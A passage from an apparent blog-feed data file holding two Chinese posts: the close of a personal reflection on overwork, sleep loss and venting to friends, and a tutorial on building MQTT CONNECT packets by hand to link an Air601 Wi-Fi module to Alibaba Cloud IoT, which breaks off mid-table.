当时瞬间难受的话都不会说了. 冷静下来想了想, 自己确实在气急败坏. 我不知道我的行为是在较真、无理取闹, 我日常吐槽自己遭遇的行为到底是在合理吐槽还是在故意卖惨——可能我自己觉得很正常的事情在别人眼里就变了味道.\u003c/p\u003e\n\u003cp\u003e我自己少有一点开发经验, 于是喜欢到处揽活写东西, 感觉自己写出来的东西能给别人带去良好的体验也算是创造了价值.\u003c/p\u003e\n\u003cp\u003e但是揽活背锅这个过程总是不美好的. 我已经记不清楚连着一个月除了代码代码代码之外空无一物、连基础睡眠都无法保证的日子是怎么过的, 也有很多朋友亲人劝说过我身体第一, 我自己也明白这样下去迟早会出问题, 于是最近在尽力养生了 (今晚除外吧, 心情比较……特殊) .\u003c/p\u003e\n\u003cp\u003e不过除了睡眠和身体问题之外, 更严重的可能是心理问题.\u003c/p\u003e\n\u003cp\u003e我在网易云有一个\u003ca href=\"https://y.music.163.com/m/playlist?app_version=8.8.70\u0026amp;id=5363370586\u0026amp;userid=544989612\u0026amp;dlt=0846\u0026amp;creatorId=544989612\" target=\"_blank\" rel=\"noopener noreffer \"\u003e歌单\u003c/a\u003e, 里面的东西大概长下面这样:\u003c/p\u003e\n\u003cp\u003e\u003c/p\u003e\n\u003cp\u003e(感兴趣的可以听一听, 记得把音量调小)\u003c/p\u003e\n\u003cp\u003e每当心情烦躁的时候, 我都会尝试说服自己先挺一挺, 挺过去就好了, 接着戴上耳机音量开大, 开始播放一些能带来无意义杂音轰炸耳朵的东西, 这样我就能在很长一段时间之内以一种只去思考眼前问题的状态坚持下去. 睡眠其实是刻意远离的, 躺在床上无所事事的时候我就不可避免的去emo, 去思考我这么做的意义, 接着意志消沉什么也不想做. 所以在干活期间, 睡觉基本上是确认了自己能在十秒钟之内失去意识之后才会倒头去睡.\u003c/p\u003e\n\u003cp\u003e在干活的时候我一般不太喜欢先去说自己有多惨, 我父亲经常跟我说, 觉得艰苦的话, 咬咬牙就过去了, 卖惨是懦夫行为;也曾经因为我小时候做某些事情半途而废开始哭惨而教育过我, 于是我后来一直是这样做的, 在背锅的事情完成之前从来不抱怨, 我觉得我做的还行.\u003c/p\u003e\n\u003cp\u003e但是心理压力总是要排解的, 虽然我做事的时候尽力不去半途而废, 也尽力不去哭惨卖惨, 甚至不愿意去思考除了代码、逻辑、任务之外的事情. 我知道我一旦去想这些事情, 我就停不下来, 心理防线是很难修的. 当某件背锅的事情、某个项目终于完成的时候, 我大概会瘫上一两周什么也不想干, 这个时候如果聊天谈到了, 我就喜欢说这个项目究竟怎么折腾我了、我绷不住了之类的话 (毕竟没有在事情做到一半的时候就抱怨嘛, 大概也不算懦夫行为) . 不过大家对我写出来的东西也都表示了认可, 虽然也有那么几个说我写的不彳亍的, 但总的来说我的心态大概是, 我写的东西总算没白费, 大家开心就好, 也就不会emo了.\u003c/p\u003e\n\u003cp\u003e我目前觉得我的心理状况还是很不错的, 距离抑郁症还很远, 但可能确实出了一点问题. 我喜欢到处挑一些离谱的事情去群里吐槽, 看见大家附和的时候我的心理压力会小很多, 我觉得我的想法是有人认可的, 这大概是什么奇怪的心理认同效应. 我也喜欢在我认为开玩笑的语气上去说一下我之前背锅有多惨有多惨, 不过这件事情已经过去了, 我已经坚持下来了, 所以也无所谓了, 也就那样嘛. 不过似乎并不是每个人都觉得我在开玩笑, 他们觉得我就是在卖惨, 不过也有一些朋友是真的心疼我.\u003c/p\u003e\n\u003cp\u003e但是我还是经常会控制不住自己情绪的. 经常会有朋友说我爱翻旧账, 我的导师之前也说过一次不太想找我做事, 因为每次事后总结我都要bb半天, 最后整的心情都不愉快了. 所以后来我做过的事情我也不咋说了, 说了大家都不开心, 只有我心理压力排解出去了, 何必呢. 况且事后卖惨也算卖惨, 家训都到哪儿去了.\u003c/p\u003e\n\u003cp\u003e也可能是自己确实做了很多事情, 所以有时候经常会有一种自信, 觉得自己做的事情说的话大抵都是正确的, 自己的人品倒也还彳亍, 至少不离谱. 所以在人品被怀疑的时候我很难放得下, 越是重要的人这么说我, 我越上火, 越想急着证明自己不是那样的人, 即使对方都打算打哈哈把事情放过去了我都要继续追着说下去, 不然我心里真的难受. 然后谈话就逐渐向着不可控制的方向发展了, 最后弄的双方剑拔弩张.\u003c/p\u003e\n\u003cp\u003e有时候我也很倔. 可能是被代码和各种框架折腾多了的缘故, 我总有一种“我的经验比你丰富所以你要听我的”的莫名自信, 这个可能不仅仅只体现在写代码这件事上, 也影响了我日常的一些观点. 体现出来大概就是倔, 听不进去别人的意见, 一定要说服别人接受我的观点. 我之前很多次意识到这个问题, 我想努力去改, 但是总会不经意间这样. 有时候给关系弄的不愉快了, 事后想想感觉自己就是个sb.\u003c/p\u003e\n\u003cp\u003e我现在的生活应该也算忙碌和充实的, 但是我的圈子也就那么大, 有一些交心朋友, 一位很好的老师, 二次元, 还有每周两次和家人视频聊天的时光. 但是在遇到某些难受事情的时候, 可能还是得自己憋着比较好. 一来别人没有义务承担来自我的心理压力, 二来我的心理状态可能会影响其他人的心理状态, 属实有点…\u003c/p\u003e\n\u003cp\u003e以后我还是多分享一下生活中的乐趣, 少一点抱怨挑刺, 可能生活会好一些. 生活的美好是虚假的, 但我不是强大到足以直面事实的人, 就这样吧. 希望能看到这篇博客的人不会被我的糟心状态所影响, 如果我日常有什么让你难受的地方了, 我在这里真诚道歉, 我有在努力纠正了, 感谢能遇到你们.\u003c/p\u003e\n\u003c/body\u003e\u003c/html\u003e","url":"https://blog.woooo.tech/posts/20221119_thinks/"}]},{"name":"康师傅","email":"","uri":"https://blog.ksfu.top/","description":"太菜了","article":[{"title":"合宙Air601连接阿里云物联网平台-MQTT协议学习","time":"2023-07-22T12:31:10Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%90%88%E5%AE%99Air601%E8%BF%9E%E6%8E%A5%E9%98%BF%E9%87%8C%E4%BA%91%E7%89%A9%E8%81%94%E7%BD%91%E5%B9%B3%E5%8F%B0-MQTT%E5%8D%8F%E8%AE%AE%E5%AD%A6%E4%B9%A0\" class=\"headerlink\" title=\"合宙Air601连接阿里云物联网平台-MQTT协议学习\"\u003e\u003c/a\u003e合宙Air601连接阿里云物联网平台-MQTT协议学习\u003c/h1\u003e\u003cp\u003e开发板9块9包邮)买来玩玩。\u003c/p\u003e\u003cp\u003e首先赞美一下其他模块有现成AT/MQTT固件,因为Air601刚出来不久,现在还没有AT/MQTT固件,所以要TCP连接后手搓MQTT协议,就当学习了~\u003c/p\u003e\u003cp\u003e鼓捣了一晚上,记录记录过程~\u003c/p\u003e\u003cp\u003e一些官方介绍:\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003eAir601-12F 是合宙通信推出的 Wi-Fi - BLE二合一通信模块;\u003cbr/\u003eAir601-12F采用合宙Air601芯片平台,支持Wi-Fi 802.11b/g/n协议,支持BLE 4.2协议;\u003cbr/\u003eAir601-12F 兼容业内主流12F封装(SMD-22),板载PCB天线,极致成本,满足小型化低成本需求;\u003cbr/\u003eAir601-12F 支持AT指令开发,指令集兼容,可无缝替换。\u003cbr/\u003eWi-Fi 安全支持 Wi-Fi WMM/WMM-PS/WPA/WPA2/WPS;\u003cbr/\u003e支持20/40MHz带宽,最高支持150Mbps速率;\u003cbr/\u003e支持 Station 、Station + SoftAP 、SoftAP 模式;\u003cbr/\u003e支持TLS加密通信,硬件加密模块加速,支持多路TLS连接;\u003cbr/\u003e支持fota空中升级;\u003cbr/\u003e支持低功耗休眠,休眠电流小于20 μA\u003c/p\u003e\u003cimg src=\"http://images.elecfans.top/uploads/20230717/3902cb10-2457-11ee-962d-dac502259ad0.png\" style=\"zoom: 25%;\"/\u003e\u003c/blockquote\u003e\u003ch2 id=\"准备工作\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%87%86%E5%A4%87%E5%B7%A5%E4%BD%9C\" class=\"headerlink\" title=\"准备工作\"\u003e\u003c/a\u003e准备工作\u003c/h2\u003e\u003ch3 id=\"获取AT指令手册\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%8E%B7%E5%8F%96AT%E6%8C%87%E4%BB%A4%E6%89%8B%E5%86%8C\" class=\"headerlink\" title=\"获取AT指令手册\"\u003e\u003c/a\u003e获取AT指令手册\u003c/h3\u003e\u003cp\u003e\u003ca href=\"https://cdn.openluat-luatcommunity.openluat.com/attachment/20230717162214038_%E4%B8%8A%E6%B5%B7%E5%90%88%E5%AE%99WIFI%E6%A8%A1%E7%BB%84(Air601%E7%B3%BB%E5%88%97)AT%E5%91%BD%E4%BB%A4%E6%89%8B%E5%86%8CV1.0.3.pdf\"\u003e上海合宙WIFI模组(Air601系列)AT命令手册V1.0.3.pdf\u003c/a\u003e\u003c/p\u003e\u003cp\u003e因为直接买的开发板,所以开箱即用。使用type-c数据线,通过串口进行操作。\u003c/p\u003e\u003cp\u003e具体指令信息可以参考手册,这里只记录必要过程。\u003c/p\u003e\u003ch3 id=\"连接wifi\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%BF%9E%E6%8E%A5wifi\" class=\"headerlink\" title=\"连接wifi\"\u003e\u003c/a\u003e连接wifi\u003c/h3\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-none\"\u003e\u003ccode class=\"language-none\"\u003eAT+CWJAP=\u0026#34;WiFi名\u0026#34;,\u0026#34;WiFi密码\u0026#34;\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e若返回\u003ccode\u003eWIFI CONNECTED\u003c/code\u003e,则连接成功。\u003c/p\u003e\u003ch3 id=\"阿里云物联网平台创建好设备\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E9%98%BF%E9%87%8C%E4%BA%91%E7%89%A9%E8%81%94%E7%BD%91%E5%B9%B3%E5%8F%B0%E5%88%9B%E5%BB%BA%E5%A5%BD%E8%AE%BE%E5%A4%87\" class=\"headerlink\" title=\"阿里云物联网平台创建好设备\"\u003e\u003c/a\u003e阿里云物联网平台创建好设备\u003c/h3\u003e\u003cp\u003e比较简单就不演示了。\u003c/p\u003e\u003ch2 id=\"计算MQTT协议报文内容\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%AE%A1%E7%AE%97MQTT%E5%8D%8F%E8%AE%AE%E6%8A%A5%E6%96%87%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"计算MQTT协议报文内容\"\u003e\u003c/a\u003e计算MQTT协议报文内容\u003c/h2\u003e\u003cp\u003eMQTT(消息队列遥测传输)是一个基于客户端-服务器的消息发布/订阅传输协议。\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://mcxiaoke.gitbooks.io/mqtt-cn/content/\"\u003eMQTT中文手册\u003c/a\u003e\u003c/p\u003e\u003ch3 id=\"MQTT控制报文\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#MQTT%E6%8E%A7%E5%88%B6%E6%8A%A5%E6%96%87\" class=\"headerlink\" title=\"MQTT控制报文\"\u003e\u003c/a\u003eMQTT控制报文\u003c/h3\u003e\u003cp\u003eMQTT控制报文由三部分组成:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e报文部分\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003eFixed header\u003c/td\u003e\u003ctd\u003e固定报头,所有控制报文都包含\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003eVariable header\u003c/td\u003e\u003ctd\u003e可变报头,部分控制报文包含\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003ePayload\u003c/td\u003e\u003ctd\u003e有效载荷,部分控制报文包含\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"CONNECT-报文结构\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#CONNECT-%E6%8A%A5%E6%96%87%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"CONNECT 报文结构\"\u003e\u003c/a\u003eCONNECT 报文结构\u003c/h3\u003e\u003cp\u003e建立客户端(Client)到服务端(Server)的网络连接后,客户端发送给服务端的第一个报文必须是 CONNECT 报文(连接到服务端)。\u003cbr/\u003e并且在一次连接中,只能发送一次 CONNECT 报文,服务端会将客服端发送的第二个CONNECT报文当做协议违规处理并断开连接。\u003cbr/\u003eCONNECT报文结构为:\u003cstrong\u003e固定报头+可变报头+有效载荷。\u003c/strong\u003e\u003c/p\u003e\u003ch4 id=\"固定报头\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%9B%BA%E5%AE%9A%E6%8A%A5%E5%A4%B4\" class=\"headerlink\" title=\"固定报头\"\u003e\u003c/a\u003e固定报头\u003c/h4\u003e\u003ctable\u003e \u003ctbody\u003e\u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003e固定报文格式\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003eBit\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte1\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eMQTT控制报文的类型(1)\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"4\"\u003e\u003ccenter\u003eReserved 保留位\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003ebyte2...\u003c/center\u003e\u003c/td\u003e \u003ctd colspan=\"8\"\u003e\u003ccenter\u003e剩余长度\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e其中\u003cstrong\u003e剩余长度=可变报头长度+有效载荷长度\u003c/strong\u003e ,这个在最后计算。\u003c/p\u003e\u003ch5 id=\"剩余长度详解\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%89%A9%E4%BD%99%E9%95%BF%E5%BA%A6%E8%AF%A6%E8%A7%A3\" class=\"headerlink\" title=\"剩余长度详解\"\u003e\u003c/a\u003e剩余长度详解\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e位置:\u003c/strong\u003e从第2个字节开始。\u003c/p\u003e\u003cp\u003e剩余长度(Remaining Length)表示当前报文剩余部分的字节数,包括可变报头和负载的数据。剩余长度不包括用于编码剩余长度字段本身的字节数。\u003c/p\u003e\u003cp\u003e剩余长度字段使用一个变长度编码方案,对小于128的值它使用单字节编码。若剩余长度大于等于128字节,则使用双字节低端编码的方式(低八位 - 高八位),最多使用 4 个字节来表示长度:\u003c/p\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e字节数\u003c/th\u003e\u003cth align=\"center\"\u003e最小值\u003c/th\u003e\u003cth align=\"center\"\u003e最大值\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0 (0x00)\u003c/td\u003e\u003ctd align=\"center\"\u003e127 (0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e2\u003c/td\u003e\u003ctd align=\"center\"\u003e128 (0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e16 383 (0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e3\u003c/td\u003e\u003ctd align=\"center\"\u003e16 384 (0x80, 0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e2 097 151 (0xFF, 0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003e4\u003c/td\u003e\u003ctd align=\"center\"\u003e2 097 152 (0x80, 0x80, 0x80, 0x01)\u003c/td\u003e\u003ctd align=\"center\"\u003e268 435 455 (0xFF, 0xFF, 0xFF, 0x7F)\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e其中,每个字节的低七位用于编码数据,第八位延续位用于指示是否有更多的字节。因此每个字节可以编码127个数值(0111 1111)和一个延续位。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e例:\u003c/p\u003e\u003col\u003e\u003cli\u003e\u003cp\u003e小于128字节时:\u003c/p\u003e\u003cp\u003e剩余长度98个字节(0110 0010)转换成16进制为 0x62。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e大于128字节小于16384字节时\u003c/p\u003e\u003cp\u003e剩余长度300个字节时,按照低八位 - 高八位排列,低八位的最高位为1(延续位)。\u003c/p\u003e\u003cp\u003e300 = 1 0010 1100\u003c/p\u003e\u003cp\u003e低八位:1(固定)+300低7位(010 1100) -\u0026gt; 1010 1100\u003c/p\u003e\u003cp\u003e高八位:300低7位前(10) -\u0026gt; 0000 0010\u003c/p\u003e\u003cp\u003e所以剩余长度表示为 AC 02\u003c/p\u003e\u003c/li\u003e\u003c/ol\u003e\u003c/blockquote\u003e\u003ch5 id=\"得到固定报头:\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%BE%97%E5%88%B0%E5%9B%BA%E5%AE%9A%E6%8A%A5%E5%A4%B4%EF%BC%9A\" class=\"headerlink\" title=\"得到固定报头:\"\u003e\u003c/a\u003e得到固定报头:\u003c/h5\u003e\u003cp\u003e16进制,后面均为16进制,不再说明:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-json\" data-language=\"json\"\u003e\u003ccode class=\"language-json\"\u003e\u003cspan class=\"token number\"\u003e10\u003c/span\u003e ??\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e其中\u003ccode\u003e??\u003c/code\u003e为剩余长度,由最后计算获得。\u003c/p\u003e\u003ch4 id=\"可变报头\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8F%AF%E5%8F%98%E6%8A%A5%E5%A4%B4\" class=\"headerlink\" title=\"可变报头\"\u003e\u003c/a\u003e可变报头\u003c/h4\u003e\u003cp\u003e某些MQTT控制报文包含一个可变报头部分。它在固定报头和负载之间。可变报头的内容根据报文类型的不同而不同。\u003c/p\u003e\u003cp\u003eCONNECT报文的可变报头按下列次序包含四个字段:协议名(Protocol Name),协议级别(Protocol Level),连接标志(Connect Flags)和保持连接(Keep Alive)。\u003c/p\u003e\u003ch5 id=\"协议名-Protocol-Name\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8D%8F%E8%AE%AE%E5%90%8D-Protocol-Name\" class=\"headerlink\" title=\"协议名 Protocol Name\"\u003e\u003c/a\u003e协议名 Protocol Name\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e\u003c/th\u003e\u003cth align=\"center\"\u003e说明\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 1\u003c/td\u003e\u003ctd align=\"center\"\u003e长度 MSB (0)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 2\u003c/td\u003e\u003ctd align=\"center\"\u003e长度 LSB (4)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 3\u003c/td\u003e\u003ctd align=\"center\"\u003e‘M’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 4\u003c/td\u003e\u003ctd align=\"center\"\u003e‘Q’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 5\u003c/td\u003e\u003ctd align=\"center\"\u003e‘T’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 6\u003c/td\u003e\u003ctd align=\"center\"\u003e‘T’\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e协议名是表示协议名 \u003cem\u003eMQTT\u003c/em\u003e 的UTF-8编码的字符串。MQTT规范的后续版本不会改变这个字符串的偏移和长度。\u003c/p\u003e\u003cp\u003e如果协议名不正确服务端\u003cstrong\u003e可以\u003c/strong\u003e断开客户端的连接,也\u003cstrong\u003e可以\u003c/strong\u003e按照某些其它规范继续处理CONNECT报文。对于后一种情况,按照本规范,服务端\u003cstrong\u003e不能\u003c/strong\u003e继续处理CONNECT报文。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e数据包检测工具,例如防火墙,可以使用协议名来识别MQTT流量。\u003c/p\u003e\u003c/blockquote\u003e\u003ch5 id=\"协议级别-Protocol-Level\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E5%8D%8F%E8%AE%AE%E7%BA%A7%E5%88%AB-Protocol-Level\" class=\"headerlink\" title=\"协议级别 Protocol Level\"\u003e\u003c/a\u003e协议级别 Protocol Level\u003c/h5\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth align=\"center\"\u003e\u003c/th\u003e\u003cth align=\"center\"\u003e说明\u003c/th\u003e\u003cth align=\"center\"\u003e7\u003c/th\u003e\u003cth align=\"center\"\u003e6\u003c/th\u003e\u003cth align=\"center\"\u003e5\u003c/th\u003e\u003cth align=\"center\"\u003e4\u003c/th\u003e\u003cth align=\"center\"\u003e3\u003c/th\u003e\u003cth align=\"center\"\u003e2\u003c/th\u003e\u003cth align=\"center\"\u003e1\u003c/th\u003e\u003cth align=\"center\"\u003e0\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd align=\"center\"\u003ebyte 7\u003c/td\u003e\u003ctd align=\"center\"\u003eLevel(4)\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e1\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003ctd align=\"center\"\u003e0\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003cp\u003e客户端用8位的无符号值表示协议的修订版本。对于3.1.1版协议,协议级别字段的值是4(0x04)。如果发现不支持的协议级别,服务端\u003cstrong\u003e必须\u003c/strong\u003e给发送一个返回码为0x01(不支持的协议级别)的CONNACK报文响应CONNECT报文,然后断开客户端的连接。\u003c/p\u003e\u003ch5 id=\"连接标志-Connect-Flags\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/47a8/#%E8%BF%9E%E6%8E%A5%E6%A0%87%E5%BF%97-Connect-Flags\" class=\"headerlink\" title=\"连接标志 Connect Flags\"\u003e\u003c/a\u003e连接标志 Connect Flags\u003c/h5\u003e\u003cp\u003e连接标志字节包含一些用于指定MQTT连接行为的参数。它还指出有效载荷中的字段是否存在。\u003c/p\u003e\u003ctable\u003e \u003ctbody\u003e\u003ctr\u003e \u003cth colspan=\"9\"\u003e\u003ccenter\u003e连接标志\u003c/center\u003e\u003c/th\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003eBit\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e7\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e6\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e5\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e4\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e3\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e2\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e1\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003e\u003cstrong\u003e0\u003c/strong\u003e\u003c/center\u003e\u003c/td\u003e \u003c/tr\u003e \u003ctr\u003e \u003ctd\u003e\u003ccenter\u003e \u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eUser Name Flag\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003ePassword Flag\u003c/center\u003e\u003c/td\u003e \u003ctd\u003e\u003ccenter\u003eWill Retain\u003c/center\u003e\u003c/td\u003e \u003ctd 